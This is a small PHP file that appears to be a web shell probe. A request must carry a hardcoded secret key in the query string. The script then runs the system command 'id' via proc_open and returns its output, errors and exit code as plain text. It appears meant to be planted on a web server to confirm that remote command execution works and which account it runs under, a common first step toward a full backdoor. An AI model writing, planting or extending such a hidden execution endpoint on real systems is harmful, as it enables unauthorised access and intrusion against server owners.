<?php
$k=$_GET['k']??''; if($k!=='R7xK9mQ2vLp4') exit;
header('Content-Type: text/plain; charset=utf-8');
echo "START\n";
$d=[1=>['pipe','w'],2=>['pipe','w']];
$p=@proc_open('id',$d,$pp);
if(!is_resource($p)){ echo "PROC FAILED\n"; exit; }
$o=stream_get_contents($pp[1]);
$e=stream_get_contents($pp[2]);
fclose($pp[1]);fclose($pp[2]);
$rc=proc_close($p);
echo "OUT=[$o]\nERR=[$e]\nRC=$rc\nDONE\n";